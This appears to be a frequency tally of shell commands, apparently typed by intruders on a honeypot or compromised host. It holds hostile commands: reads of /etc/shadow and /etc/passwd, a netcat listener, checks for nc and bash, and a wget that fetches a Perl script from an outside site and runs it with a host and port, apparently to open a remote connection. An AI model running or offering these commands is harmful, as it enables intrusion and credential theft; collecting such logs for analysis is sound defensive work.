1 cat /etc/motd 1 cat /etc/passwd~ 1 cat /etc/shadow 1 cat similar.py 1 ls -l 1 ls /home 1 nc -l -p 9876 1 uname -a 1 wget -O /var/tmp/foo.pl http://www.regimesyndicate.org/interrupt/foo.pl && perl /var/tmp/foo.pl yourhost listeningport 1 which bash 1 which netcat 3 which nc 13 cat /etc/passwd